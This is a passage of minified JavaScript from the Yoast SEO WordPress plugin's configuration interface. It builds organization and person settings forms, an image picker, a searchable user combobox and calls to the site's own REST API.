image...","wordpress-seo"))):n?(0,t.createElement)("img",{src:n,alt:r,className:"yst-w-full yst-h-full yst-object-contain"}):a?(0,t.createElement)("img",{src:a,alt:r,className:"yst-w-full yst-h-full yst-object-contain"}):(0,t.createElement)(Su,{id:`${e}-no-image-svg`,className:"yst-w-14 yst-h-14 yst-text-slate-500"})),[p,e,n,r]);return(0,t.createElement)("div",{className:cr()("yst-max-w-sm",u),...fi(e,d)},(0,t.createElement)("label",{htmlFor:e,className:"yst-block yst-mb-2 yst-font-medium yst-text-slate-700"},s),(0,t.createElement)("button",{id:e,className:m,onClick:o,type:"button","data-hiive-event-name":"clicked_select_image"},f()),(0,t.createElement)("div",null,(0,t.createElement)(c.Button,{id:n?e+"__replace-image":e+"__select-image",variant:"secondary",className:"yst-mr-2",onClick:o,"data-hiive-event-name":n?"clicked_replace_image":"clicked_select_image"},n?(0,Ht.__)("Replace image","wordpress-seo"):(0,Ht.__)("Select image","wordpress-seo")),n&&(0,t.createElement)(c.Link,{id:`${e}__remove-image`,as:"button",type:"button",variant:"error",onClick:i,className:"yst-px-3 yst-py-2 yst-rounded-md","data-hiive-event-name":"clicked_remove_image"},(0,Ht.__)("Remove image","wordpress-seo"))),"error"===p&&(0,t.createElement)("p",{className:"yst-mt-2 yst-text-sm yst-text-red-600"},d),d.isVisible&&(0,t.createElement)(ki,{id:mi(e),className:"yst-mt-2 yst-text-sm yst-text-red-600",texts:d.message}))}Ru.propTypes={label:Wr().string,id:Wr().string.isRequired,url:Wr().string,fallbackUrl:Wr().string,imageAltText:Wr().string,onRemoveImageClick:Wr().func,onSelectImageClick:Wr().func,className:Wr().string,error:Wr().shape({message:Wr().string,isVisible:Wr().bool}),status:Wr().string},Ru.defaultProps={label:"",url:"",fallbackUrl:"",imageAltText:"",onRemoveImageClick:u.noop,onSelectImageClick:u.noop,className:"",error:{message:"",isVisible:!1},status:"idle"},window.yoast.socialMetadataForms;const Cu=e=>({type:e.subtype,width:e.width,height:e.height,url:e.url,id:e.id,sizes:e.sizes,alt:e.alt||e.title||e.name});function Pu(e){(function(e){const t=window.wp.media();return t.on("select",(()=>{const r=t.state().get("selection").first();e(Cu(r.attributes))})),t})(e).open()}function Nu({dispatch:e,imageUrl:r,fallbackImageUrl:n,organizationName:a,fallbackOrganizationName:s,errorFields:o}){const i=(0,l.useCallback)((()=>{Pu((t=>{e({type:"SET_COMPANY_LOGO",payload:{...t}})}))}),[Pu]),c=(0,l.useCallback)((()=>{e({type:"REMOVE_COMPANY_LOGO"})})),u=(0,l.useCallback)((t=>{e({type:"CHANGE_COMPANY_NAME",payload:t.target.value})}));return(0,t.createElement)(l.Fragment,null,(0,t.createElement)(Ci,{className:"yst-mt-6",id:"organization-name-input",name:"organization-name",label:(0,Ht.__)("Organization name","wordpress-seo"),value:""===a?s:a,onChange:u,feedback:{isVisible:o.includes("company_name"),message:[(0,Ht.__)("We could not save the organization name. Please check the value.","wordpress-seo")],type:"error"}}),(0,t.createElement)(Ru,{className:"yst-mt-6",id:"organization-logo-input",url:r,fallbackUrl:n,onSelectImageClick:i,onRemoveImageClick:c,imageAltText:"",hasPreview:!0,label:(0,Ht.__)("Organization logo","wordpress-seo")}))}function Ou(e,r){let n=(0,t.useRef)([]),a=Aa(e);(0,t.useEffect)((()=>{let e=[...n.current];for(let[t,s]of r.entries())if(n.current[t]!==s){let t=a(r,e);return n.current=r,t}}),[a,...r])}Nu.propTypes={dispatch:Wr().func.isRequired,imageUrl:Wr().string,fallbackImageUrl:Wr().string,organizationName:Wr().string,fallbackOrganizationName:Wr().string,errorFields:Wr().array},Nu.defaultProps={imageUrl:"",fallbackImageUrl:"",organizationName:"",fallbackOrganizationName:"",errorFields:[]};var Tu=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Tu||{}),Lu=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(Lu||{}),Iu=(e=>(e[e.Pointer=0]="Pointer",e[e.Other=1]="Other",e))(Iu||{}),Mu=(e=>(e[e.OpenCombobox=0]="OpenCombobox",e[e.CloseCombobox=1]="CloseCombobox",e[e.GoToOption=2]="GoToOption",e[e.RegisterOption=3]="RegisterOption",e[e.UnregisterOption=4]="UnregisterOption",e[e.RegisterLabel=5]="RegisterLabel",e))(Mu||{});function Au(e,t=(e=>e)){let r=null!==e.activeOptionIndex?e.options[e.activeOptionIndex]:null,n=Vc(t(e.options.slice()),(e=>e.dataRef.current.domRef.current)),a=r?n.indexOf(r):null;return-1===a&&(a=null),{options:n,activeOptionIndex:a}}let Du={1:e=>e.dataRef.current.disabled||1===e.comboboxState?e:{...e,activeOptionIndex:null,comboboxState:1},0(e){if(e.dataRef.current.disabled||0===e.comboboxState)return e;let t=e.activeOptionIndex,{isSelected:r}=e.dataRef.current,n=e.options.findIndex((e=>r(e.dataRef.current.value)));return-1!==n&&(t=n),{...e,comboboxState:0,activeOptionIndex:t}},2(e,t){var r;if(e.dataRef.current.disabled||e.dataRef.current.optionsRef.current&&!e.dataRef.current.optionsPropsRef.current.static&&1===e.comboboxState)return e;let n=Au(e);if(null===n.activeOptionIndex){let e=n.options.findIndex((e=>!e.dataRef.current.disabled));-1!==e&&(n.activeOptionIndex=e)}let a=Fc(t,{resolveItems:()=>n.options,resolveActiveIndex:()=>n.activeOptionIndex,resolveId:e=>e.id,resolveDisabled:e=>e.dataRef.current.disabled});return{...e,...n,activeOptionIndex:a,activationTrigger:null!=(r=t.trigger)?r:1}},3:(e,t)=>{let r={id:t.id,dataRef:t.dataRef},n=Au(e,(e=>[...e,r]));null===e.activeOptionIndex&&e.dataRef.current.isSelected(t.dataRef.current.value)&&(n.activeOptionIndex=n.options.indexOf(r));let a={...e,...n,activationTrigger:1};return e.dataRef.current.__demoMode&&void 0===e.dataRef.current.value&&(a.activeOptionIndex=0),a},4:(e,t)=>{let r=Au(e,(e=>{let r=e.findIndex((e=>e.id===t.id));return-1!==r&&e.splice(r,1),e}));return{...e,...r,activationTrigger:1}},5:(e,t)=>({...e,labelId:t.id})},Fu=(0,t.createContext)(null);function ju(e){let r=(0,t.useContext)(Fu);if(null===r){let t=new Error(`<${e} /> is missing a parent <Combobox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,ju),t}return r}Fu.displayName="ComboboxActionsContext";let zu=(0,t.createContext)(null);function Uu(e){let r=(0,t.useContext)(zu);if(null===r){let t=new Error(`<${e} /> is missing a parent <Combobox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,Uu),t}return r}function $u(e,t){return ma(t.type,Du,e,t)}zu.displayName="ComboboxDataContext";let qu=t.Fragment,Bu=Ea((function(e,r){let{value:n,defaultValue:a,onChange:s,name:o,by:i=((e,t)=>e===t),disabled:l=!1,__demoMode:c=!1,nullable:u=!1,multiple:d=!1,...p}=e,[m=(d?[]:void 0),f]=Xc(n,s,a),[y,h]=(0,t.useReducer)($u,{dataRef:(0,t.createRef)(),comboboxState:c?0:1,options:[],activeOptionIndex:null,activationTrigger:1,labelId:null}),g=(0,t.useRef)(!1),v=(0,t.useRef)({static:!1,hold:!1}),b=(0,t.useRef)(null),w=(0,t.useRef)(null),E=(0,t.useRef)(null),x=(0,t.useRef)(null),S=Aa("string"==typeof i?(e,t)=>{let r=i;return(null==e?void 0:e[r])===(null==t?void 0:t[r])}:i),_=(0,t.useCallback)((e=>ma(k.mode,{1:()=>m.some((t=>S(t,e))),0:()=>S(m,e)})),[m]),k=(0,t.useMemo)((()=>({...y,optionsPropsRef:v,labelRef:b,inputRef:w,buttonRef:E,optionsRef:x,value:m,defaultValue:a,disabled:l,mode:d?1:0,get activeOptionIndex(){if(g.current&&null===y.activeOptionIndex&&y.options.length>0){let e=y.options.findIndex((e=>!e.dataRef.current.disabled));if(-1!==e)return e}return y.activeOptionIndex},compare:S,isSelected:_,nullable:u,__demoMode:c})),[m,a,l,d,u,c,y]);Ta((()=>{y.dataRef.current=k}),[k]),Wc([k.buttonRef,k.inputRef,k.optionsRef],(()=>A.closeCombobox()),0===k.comboboxState);let R=(0,t.useMemo)((()=>({open:0===k.comboboxState,disabled:l,activeIndex:k.activeOptionIndex,activeOption:null===k.activeOptionIndex?null:k.options[k.activeOptionIndex].dataRef.current.value,value:m})),[k,l,m]),C=Aa((e=>{let t=k.options.find((t=>t.id===e));!t||M(t.dataRef.current.value)})),P=Aa((()=>{if(null!==k.activeOptionIndex){let{dataRef:e,id:t}=k.options[k.activeOptionIndex];M(e.current.value),A.goToOption(Dc.Specific,t)}})),N=Aa((()=>{h({type:0}),g.current=!0})),O=Aa((()=>{h({type:1}),g.current=!1})),T=Aa(((e,t,r)=>(g.current=!1,e===Dc.Specific?h({type:2,focus:Dc.Specific,id:t,trigger:r}):h({type:2,focus:e,trigger:r})))),L=Aa(((e,t)=>(h({type:3,id:e,dataRef:t}),()=>h({type:4,id:e})))),I=Aa((e=>(h({type:5,id:e}),()=>h({type:5,id:null})))),M=Aa((e=>ma(k.mode,{0:()=>null==f?void 0:f(e),1(){let t=k.value.slice(),r=t.findIndex((t=>S(t,e)));return-1===r?t.push(e):t.splice(r,1),null==f?void 0:f(t)}}))),A=(0,t.useMemo)((()=>({onChange:M,registerOption:L,registerLabel:I,goToOption:T,closeCombobox:O,openCombobox:N,selectActiveOption:P,selectOption:C})),[]),D=null===r?{}:{ref:r},F=(0,t.useRef)(null),j=qa();return(0,t.useEffect)((()=>{!F.current||void 0!==a&&j.addEventListener(F.current,"reset",(()=>{M(a)}))}),[F,M]),t.createElement(Fu.Provider,{value:A},t.createElement(zu.Provider,{value:k},t.createElement(Ca,{value:ma(k.comboboxState,{0:ka.Open,1:ka.Closed})},null!=o&&null!=m&&Kc({[o]:m}).map((([e,r],n)=>t.createElement(Yc,{features:Gc.Hidden,ref:0===n?e=>{var t;F.current=null!=(t=null==e?void 0:e.closest("form"))?t:null}:void 0,...xa({key:e,as:"input",type:"hidden",hidden:!0,readOnly:!0,name:e,value:r})}))),va({ourProps:D,theirProps:p,slot:R,defaultTag:qu,name:"Combobox"}))))})),Hu=Ea((function(e,r){var n,a,s,o;let i=hs(),{id:l=`headlessui-combobox-input-${i}`,onChange:c,displayValue:u,type:d="text",...p}=e,m=Uu("Combobox.Input"),f=ju("Combobox.Input"),y=ja(m.inputRef,r),h=(0,t.useRef)(!1),g=qa(),v=function(){var e;return"function"==typeof u&&void 0!==m.value?null!=(e=u(m.value))?e:"":"string"==typeof m.value?m.value:""}();Ou((([e,t],[r,n])=>{h.current||!m.inputRef.current||(0===n&&1===t||e!==r)&&(m.inputRef.current.value=e)}),[v,m.comboboxState]),Ou((([e],[t])=>{if(0===e&&1===t){let e=m.inputRef.current;if(!e)return;let t=e.value,{selectionStart:r,selectionEnd:n,selectionDirection:a}=e;e.value="",e.value=t,null!==a?e.setSelectionRange(r,n,a):e.setSelectionRange(r,n)}}),[m.comboboxState]);let b=(0,t.useRef)(!1),w=Aa((()=>{b.current=!0})),E=Aa((()=>{setTimeout((()=>{b.current=!1}))})),x=Aa((e=>{switch(h.current=!0,e.key){case gs.Backspace:case gs.Delete:if(0!==m.mode||!m.nullable)return;let t=e.currentTarget;g.requestAnimationFrame((()=>{""===t.value&&(f.onChange(null),m.optionsRef.current&&(m.optionsRef.current.scrollTop=0),f.goToOption(Dc.Nothing))}));break;case gs.Enter:if(h.current=!1,0!==m.comboboxState||b.current)return;if(e.preventDefault(),e.stopPropagation(),null===m.activeOptionIndex)return void f.closeCombobox();f.selectActiveOption(),0===m.mode&&f.closeCombobox();break;case gs.ArrowDown:return h.current=!1,e.preventDefault(),e.stopPropagation(),ma(m.comboboxState,{0:()=>{f.goToOption(Dc.Next)},1:()=>{f.openCombobox()}});case gs.ArrowUp:return h.current=!1,e.preventDefault(),e.stopPropagation(),ma(m.comboboxState,{0:()=>{f.goToOption(Dc.Previous)},1:()=>{f.openCombobox(),g.nextFrame((()=>{m.value||f.goToOption(Dc.Last)}))}});case gs.Home:if(e.shiftKey)break;return h.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(Dc.First);case gs.PageUp:return h.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(Dc.First);case gs.End:if(e.shiftKey)break;return h.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(Dc.Last);case gs.PageDown:return h.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(Dc.Last);case gs.Escape:return h.current=!1,0!==m.comboboxState?void 0:(e.preventDefault(),m.optionsRef.current&&!m.optionsPropsRef.current.static&&e.stopPropagation(),f.closeCombobox());case gs.Tab:if(h.current=!1,0!==m.comboboxState)return;0===m.mode&&f.selectActiveOption(),f.closeCombobox()}})),S=Aa((e=>{f.openCombobox(),null==c||c(e)})),_=Aa((()=>{h.current=!1})),k=Ac((()=>{if(m.labelId)return[m.labelId].join(" ")}),[m.labelId]),R=(0,t.useMemo)((()=>({open:0===m.comboboxState,disabled:m.disabled})),[m]);return va({ourProps:{ref:y,id:l,role:"combobox",type:d,"aria-controls":null==(n=m.optionsRef.current)?void 0:n.id,"aria-expanded":m.disabled?void 0:0===m.comboboxState,"aria-activedescendant":null===m.activeOptionIndex||null==(a=m.options[m.activeOptionIndex])?void 0:a.id,"aria-multiselectable":1===m.mode||void 0,"aria-labelledby":k,"aria-autocomplete":"list",defaultValue:null!=(o=null!=(s=e.defaultValue)?s:void 0!==m.defaultValue?null==u?void 0:u(m.defaultValue):null)?o:m.defaultValue,disabled:m.disabled,onCompositionStart:w,onCompositionEnd:E,onKeyDown:x,onChange:S,onBlur:_},theirProps:p,slot:R,defaultTag:"input",name:"Combobox.Input"})})),Vu=Ea((function(e,r){var n;let a=Uu("Combobox.Button"),s=ju("Combobox.Button"),o=ja(a.buttonRef,r),i=hs(),{id:l=`headlessui-combobox-button-${i}`,...c}=e,u=qa(),d=Aa((e=>{switch(e.key){case gs.ArrowDown:return e.preventDefault(),e.stopPropagation(),1===a.comboboxState&&s.openCombobox(),u.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})}));case gs.ArrowUp:return e.preventDefault(),e.stopPropagation(),1===a.comboboxState&&(s.openCombobox(),u.nextFrame((()=>{a.value||s.goToOption(Dc.Last)}))),u.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})}));case gs.Escape:return 0!==a.comboboxState?void 0:(e.preventDefault(),a.optionsRef.current&&!a.optionsPropsRef.current.static&&e.stopPropagation(),s.closeCombobox(),u.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})})));default:return}})),p=Aa((e=>{if(vs(e.currentTarget))return e.preventDefault();0===a.comboboxState?s.closeCombobox():(e.preventDefault(),s.openCombobox()),u.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})}))})),m=Ac((()=>{if(a.labelId)return[a.labelId,l].join(" ")}),[a.labelId,l]),f=(0,t.useMemo)((()=>({open:0===a.comboboxState,disabled:a.disabled,value:a.value})),[a]);return va({ourProps:{ref:o,id:l,type:ws(e,a.buttonRef),tabIndex:-1,"aria-haspopup":"listbox","aria-controls":null==(n=a.optionsRef.current)?void 0:n.id,"aria-expanded":a.disabled?void 0:0===a.comboboxState,"aria-labelledby":m,disabled:a.disabled,onClick:p,onKeyDown:d},theirProps:c,slot:f,defaultTag:"button",name:"Combobox.Button"})})),Zu=Ea((function(e,r){let n=hs(),{id:a=`headlessui-combobox-label-${n}`,...s}=e,o=Uu("Combobox.Label"),i=ju("Combobox.Label"),l=ja(o.labelRef,r);Ta((()=>i.registerLabel(a)),[a]);let c=Aa((()=>{var e;return null==(e=o.inputRef.current)?void 0:e.focus({preventScroll:!0})})),u=(0,t.useMemo)((()=>({open:0===o.comboboxState,disabled:o.disabled})),[o]);return va({ourProps:{ref:l,id:a,onClick:c},theirProps:s,slot:u,defaultTag:"label",name:"Combobox.Label"})})),Wu=ha.RenderStrategy|ha.Static,Gu=Ea((function(e,r){let n=hs(),{id:a=`headlessui-combobox-options-${n}`,hold:s=!1,...o}=e,i=Uu("Combobox.Options"),l=ja(i.optionsRef,r),c=Ra(),u=null!==c?c===ka.Open:0===i.comboboxState;Ta((()=>{var t;i.optionsPropsRef.current.static=null!=(t=e.static)&&t}),[i.optionsPropsRef,e.static]),Ta((()=>{i.optionsPropsRef.current.hold=s}),[i.optionsPropsRef,s]),function({container:e,accept:r,walk:n,enabled:a=!0}){let s=(0,t.useRef)(r),o=(0,t.useRef)(n);(0,t.useEffect)((()=>{s.current=r,o.current=n}),[r,n]),Ta((()=>{if(!e||!a)return;let t=Es(e);if(!t)return;let r=s.current,n=o.current,i=Object.assign((e=>r(e)),{acceptNode:r}),l=t.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,i,!1);for(;l.nextNode();)n(l.currentNode)}),[e,a,s,o])}({container:i.optionsRef.current,enabled:0===i.comboboxState,accept:e=>"option"===e.getAttribute("role")?NodeFilter.FILTER_REJECT:e.hasAttribute("role")?NodeFilter.FILTER_SKIP:NodeFilter.FILTER_ACCEPT,walk(e){e.setAttribute("role","none")}});let d=Ac((()=>{var e,t;return null!=(t=i.labelId)?t:null==(e=i.buttonRef.current)?void 0:e.id}),[i.labelId,i.buttonRef.current]);return va({ourProps:{"aria-labelledby":d,role:"listbox",id:a,ref:l},theirProps:o,slot:(0,t.useMemo)((()=>({open:0===i.comboboxState})),[i]),defaultTag:"ul",features:Wu,visible:u,name:"Combobox.Options"})})),Yu=Ea((function(e,r){var n,a;let s=hs(),{id:o=`headlessui-combobox-option-${s}`,disabled:i=!1,value:l,...c}=e,u=Uu("Combobox.Option"),d=ju("Combobox.Option"),p=null!==u.activeOptionIndex&&u.options[u.activeOptionIndex].id===o,m=u.isSelected(l),f=(0,t.useRef)(null),y=Ia({disabled:i,value:l,domRef:f,textValue:null==(a=null==(n=f.current)?void 0:n.textContent)?void 0:a.toLowerCase()}),h=ja(r,f),g=Aa((()=>d.selectOption(o)));Ta((()=>d.registerOption(o,y)),[y,o]);let v=(0,t.useRef)(!u.__demoMode);Ta((()=>{if(!u.__demoMode)return;let e=za();return e.requestAnimationFrame((()=>{v.current=!0})),e.dispose}),[]),Ta((()=>{if(0!==u.comboboxState||!p||!v.current||0===u.activationTrigger)return;let e=za();return e.requestAnimationFrame((()=>{var e,t;null==(t=null==(e=f.current)?void 0:e.scrollIntoView)||t.call(e,{block:"nearest"})})),e.dispose}),[f,p,u.comboboxState,u.activationTrigger,u.activeOptionIndex]);let b=Aa((e=>{if(i)return e.preventDefault();g(),0===u.mode&&d.closeCombobox()})),w=Aa((()=>{if(i)return d.goToOption(Dc.Nothing);d.goToOption(Dc.Specific,o)})),E=tu(),x=Aa((e=>E.update(e))),S=Aa((e=>{!E.wasMoved(e)||i||p||d.goToOption(Dc.Specific,o,0)})),_=Aa((e=>{!E.wasMoved(e)||i||!p||u.optionsPropsRef.current.hold||d.goToOption(Dc.Nothing)})),k=(0,t.useMemo)((()=>({active:p,selected:m,disabled:i})),[p,m,i]);return va({ourProps:{id:o,ref:h,role:"option",tabIndex:!0===i?void 0:-1,"aria-disabled":!0===i||void 0,"aria-selected":m,disabled:void 0,onClick:b,onFocus:w,onPointerEnter:x,onMouseEnter:x,onPointerMove:S,onMouseMove:S,onPointerLeave:_,onMouseLeave:_},theirProps:c,slot:k,defaultTag:"li",name:"Combobox.Option"})})),Ku=Object.assign(Bu,{Input:Hu,Button:Vu,Label:Zu,Options:Gu,Option:Yu});function Ju(e){return e&&e.label?e.label:null}function Qu({id:e,value:r,label:n,onChange:a,onQueryChange:s,options:o,placeholder:i,isLoading:c}){const[u,d]=(0,l.useState)(o),[p,m]=(0,l.useState)(""),f=(0,l.useCallback)((e=>{m(e.target.value)}),[m]),y=(0,l.useCallback)((()=>{m("")}),[m]);(0,l.useEffect)((()=>{d(o)}),[o]),(0,l.useEffect)((()=>{s?s(p):d(o.filter((e=>e.label.toLowerCase().includes(p.toLowerCase()))))}),[p,s]);const h=(0,l.useCallback)(((e,t)=>({selected:r,active:n})=>yi({selected:r||e===t,active:n})),[yi]),g=(0,l.useCallback)((e=>t=>{e&&t.stopPropagation()}),[]);return(0,t.createElement)(Ku,{id:e,as:"div",value:r,onChange:a,onBlur:y},(({open:a})=>(0,t.createElement)(l.Fragment,null,n&&(0,t.createElement)(Ku.Label,{className:"yst-block yst-mb-1 yst-max-w-sm yst-text-sm yst-font-medium yst-text-slate-700"},n),(0,t.createElement)("div",{className:"yst-h-[45px] yst-max-w-sm yst-relative"},(0,t.createElement)(Ku.Button,{"data-id":`button-${e}`,role:"button",className:"yst-w-full yst-h-full yst-rounded-md yst-border yst-border-slate-300 yst-flex yst-items-center yst-rounded-r-md yst-pl-3 yst-pr-2 focus-within:yst-border-primary-500 focus-within:yst-outline-none focus-within:yst-ring-1 focus-within:yst-ring-primary-500",as:"div"},(0,t.createElement)(Ku.Input,{"data-id":`input-${e}`,className:"yst-w-full yst-text-slate-700 yst-rounded-md yst-border-0 yst-outline-none yst-bg-white yst-py-2 yst-pl-0 yst-pr-10 yst-shadow-none sm:yst-text-sm",onChange:f,displayValue:Ju,placeholder:i,onClick:g(a)}),(0,t.createElement)(Eu,{className:"yst-h-5 yst-w-5 yst-text-slate-400 yst-inset-y-0 yst-right-0","aria-hidden":"true"})),u.length>0&&(0,t.createElement)(Ku.Options,{className:"yst-absolute yst-z-10 yst-mt-1 yst-max-h-60 yst-w-full yst-overflow-auto yst-rounded-md yst-bg-white yst-text-base yst-shadow-lg yst-ring-1 yst-ring-black yst-ring-opacity-5 focus:yst-outline-none sm:yst-text-sm"},c&&(0,t.createElement)("div",{className:"yst-flex yst-bg-white yst-sticky yst-z-20 yst-text-sm yst-italic yst-top-0 yst-py-2 yst-pl-3 yst-pr-9 yst-my-0"},(0,t.createElement)(ku,{className:"yst-text-primary-500 yst-h-4 yst-w-4 yst-mr-2 yst-self-center"}),(0,Ht.__)("Loading...","wordpress-seo")),u.map((e=>(0,t.createElement)(Ku.Option,{key:`yst-option-${e.value}`,value:e,className:h(e.value,r.value)},(({selected:n})=>(0,t.createElement)(l.Fragment,null,(0,t.createElement)("span",{className:cr()("yst-block yst-truncate",(n||r.value===e.value)&&"yst-font-semibold")},e.label),(n||r.value===e.value)&&(0,t.createElement)("span",{className:"yst-absolute yst-inset-y-0 yst-right-0 yst-flex yst-items-center yst-pr-4 yst-text-white"},(0,t.createElement)(Ui,{className:"yst-h-5 yst-w-5","aria-hidden":"true"}))))))))))))}Qu.propTypes={onChange:Wr().func.isRequired,options:Wr().array.isRequired,id:Wr().string.isRequired,value:Wr().shape({value:Wr().number,label:Wr().string}),label:Wr().string,onQueryChange:Wr().func,placeholder:Wr().string,isLoading:Wr().bool},Qu.defaultProps={value:null,label:"",onQueryChange:null,placeholder:(0,Ht.__)("Select an option","wordpress-seo"),isLoading:!1};const Xu={"X-WP-NONCE":wpApiSettings.nonce},ed=wpApiSettings.root;function td({initialValue:e,onChangeCallback:r,placeholder:n}){const[a,s]=(0,l.useState)([]),[o,i]=(0,l.useState)({value:e.id,label:e.name}),[c,d]=(0,l.useState)(!1),p=(0,l.useRef)(!0);(0,l.useEffect)((()=>()=>{p.current=!1}),[]);const m=(0,l.useCallback)((e=>{i(e),r(e)})),f=(0,l.useCallback)((0,u.debounce)((async e=>{d(!0);const t=await function(e=""){const t=`${ed}wp/v2/users?per_page=20${e?`&search=${encodeURIComponent(e)}`:""}`;return(0,vc.sendRequest)(t,{method:"GET",headers:Xu})}(e);p.current&&(d(!1),s(t.map((e=>({value:e.id,label:e.name})))))}),500),[]);return(0,t.createElement)(Qu,{id:"yoast-configuration-user-select",value:o,label:(0,Ht.__)("Name","wordpress-seo"),onChange:m,onQueryChange:f,options:a,placeholder:n,isLoading:c})}function rd({dispatch:e,imageUrl:r,fallbackImageUrl:n,person:a,canEditUser:s}){const o=(0,l.useCallback)((()=>{Pu((t=>{e({type:"SET_PERSON_LOGO",payload:{...t}})}))}),[Pu]),i=(0,l.useCallback)((()=>{e({type:"REMOVE_PERSON_LOGO"})})),c=(0,l.useCallback)((t=>{e({type:"SET_PERSON",payload:t}),na()({path:`yoast/v1/configuration/check_capability?user_id=${t.value}`}).then((t=>{e({type:"SET_CAN_EDIT_USER",payload:t.success})})).catch((e=>{console.error(e.message)}))}),[e]),u=(0,l.useMemo)((()=>(0,l.createInterpolateElement)((0,Ht.sprintf)(
// translators: %1$s is replaced by the selected user's name, and %2$s and %3$s are opening and closing anchor tags.
s?(0,Ht.__)("You have selected the user %1$s as the person this site represents. This user profile information will now be used in search results. %2$sUpdate this profile to make sure the information is correct%3$s.","wordpress-seo"):(0,Ht.__)("You have selected the user %1$s as the person this site represents. This user profile information will now be used in search results. You're not allowed to update this user profile, so please ask this user or an admin to make sure the information is correct.","wordpress-seo"),`<b>${a.name}</b>`,"<a>","</a>"),{b:(0,t.createElement)("b",null),a:(0,t.createElement)("a",{id:"yoast-configuration-user-selector-user-link",href:window.wpseoScriptData.userEditUrl.replace("{user_id}",a.id),target:"_blank",rel:"noopener noreferrer"})})),[a.id,a.name,s]);return(0,t.createElement)(l.Fragment,null,(0,t.createElement)(td,{initialValue:a,onChangeCallback:c,name:"person_id",placeholder:(0,Ht.__)("Select a user","wordpress-seo")}),(0,t.createElement)(Di,{id:"user-representation-alert",isVisible:0!==a.id,type:"info",className:"yst-mt-5"},u),(0,t.createElement)(Ru,{className:"yst-mt-6",id:"person-logo-input",url:r,fallbackUrl:n,onSelectImageClick:o,onRemoveImageClick:i,imageAltText:"",hasPreview:!0,label:(0,Ht.__)("Personal logo or avatar","wordpress-seo")}))}function nd({onOrganizationOrPersonChange:e,dispatch:r,state:n,siteRepresentationEmpty:a}){const[s,o]=(0,l.useState)("emptyChoice"===n.companyOrPerson?"yst-opacity-0":"yst-opacity-100"),i=(0,l.useCallback)((()=>{o("yst-opacity-100")})),c=(0,l.useCallback)((e=>{r({type:"CHANGE_WEBSITE_NAME",payload:e.target.value})})),u=Mc((0,Ht.sprintf)(/* translators: %1$s expands to opening 'a' HTML tag, %2$s expands to closing 'a' HTML tag. */
(0,Ht.__)("Completing this step helps Google to understand your site even better. Bonus: You'll improve your chance of getting %1$srich results%2$s!","wordpress-seo"),"<a>","</a>"),"https://yoa.st/config-workout-rich-results","yoast-configuration-rich-text-link");return(0,t.createElement)(l.Fragment,null,window.wpseoFirstTimeConfigurationData.knowledgeGraphMessage&&(0,t.createElement)(Ai,{type:"info"},window.wpseoFirstTimeConfigurationData.knowledgeGraphMessage),(0,t.createElement)("p",{className:cr()("yst-text-sm yst-whitespace-pre-line yst-mb-6",n.shouldForceCompany?"yst-mt-4":"yst-mt-0")},n.shouldForceCompany?u:(0,t.createElement)(l.Fragment,null,(0,Ht.__)("Tell us! Is your site about an organization or a person? ","wordpress-seo"),u)),(0,t.createElement)(xu,{id:"organization-person-select",htmlFor:"organization-person-select",name:"organization",label:(0,Ht.__)("Does your site represent an Organization or Person?","wordpress-seo"),value:n.shouldForceCompany?"company":n.companyOrPerson,onChange:e,choices:n.companyOrPersonOptions,disabled:!!n.shouldForceCompany}),!("company"===n.companyOrPerson&&n.companyName&&n.companyLogo||"company"===n.companyOrPerson&&!n.companyLogoFallback||"person"===n.companyOrPerson&&n.personLogo||"person"===n.companyOrPerson&&!n.personLogoFallback)&&(0,t.createElement)(Ai,{type:"info",className:"yst-mt-6"},(0,Ht.__)("We took the liberty of using your website name and logo for the organization name and logo. Feel free to change them below.","wordpress-seo")),(0,t.createElement)(Ci,{className:"yst-my-6",id:"website-name-input",name:"website-name",label:(0,Ht.__)("Website name","wordpress-seo"),value:n.websiteName||n.fallbackWebsiteName,onChange:c,feedback:{isVisible:n.errorFields.includes("website_name"),message:[(0,Ht.__)("We could not save the website name. Please check the value.","wordpress-seo")],type:"error"}}),(0,t.createElement)(Mi.Z,{height:["company","person"].includes(n.companyOrPerson)?"auto":0,duration:400,easing:"linear",onAnimationEnd:i},(0,t.createElement)("div",{className:cr()("yst-transition-opacity yst-duration-300 yst-mt-6",s)},"company"===n.companyOrPerson&&(0,t.createElement)(Nu,{dispatch:r,imageUrl:n.companyLogo,fallbackImageUrl:n.companyLogoFallback,organizationName:n.companyName,fallbackOrganizationName:n.fallbackCompanyName,errorFields:n.errorFields}),"person"===n.companyOrPerson&&(0,t.createElement)(rd,{dispatch:r,imageUrl:n.personLogo,fallbackImageUrl:n.personLogoFallback,person:{id:n.personId,name:n.personName},canEditUser:!!n.canEditUser,errorFields:n.errorFields}))),(0,t.createElement)(Di,{id:"site-representation-empty-alert",isVisible:a,className:"yst-mt-6"},(0,Ht.__)("You're almost there! Complete all settings in this step so search engines know what your site is about.","wordpress-seo")))}td.propTypes={initialValue:Wr().shape({id:Wr().number,name:Wr().string}),onChangeCallback:Wr().func,placeholder:Wr().string},td.defaultProps={initialValue:{id:0,name:""},onChangeCallback:u.noop,placeholder:(0,Ht.__)("Select a user","wordpress-seo")},rd.propTypes={dispatch:Wr().func.isRequired,imageUrl:Wr().string,fallbackImageUrl:Wr().string,person:Wr().shape({id:Wr().number,name:Wr().string}),canEditUser:Wr().bool.isRequired},rd.defaultProps={imageUrl:"",fallbackImageUrl:"",person:{id:0,name:""}},nd.propTypes={onOrganizationOrPersonChange:Wr().func.isRequired,dispatch:Wr().func.isRequired,state:Wr().object.isRequired,siteRepresentationEmpty:Wr().bool.isRequired};const ad=(0,Ht.__)("Oops! Something went wrong. Check your email address and try again.","wordpress-seo"),sd=(0,Ht.__)("Please enter a valid email address.","wordpress-seo"),od=(0,Ht.__)("Thank you! Check your inbox for the confirmation email.","wordpress-seo");function 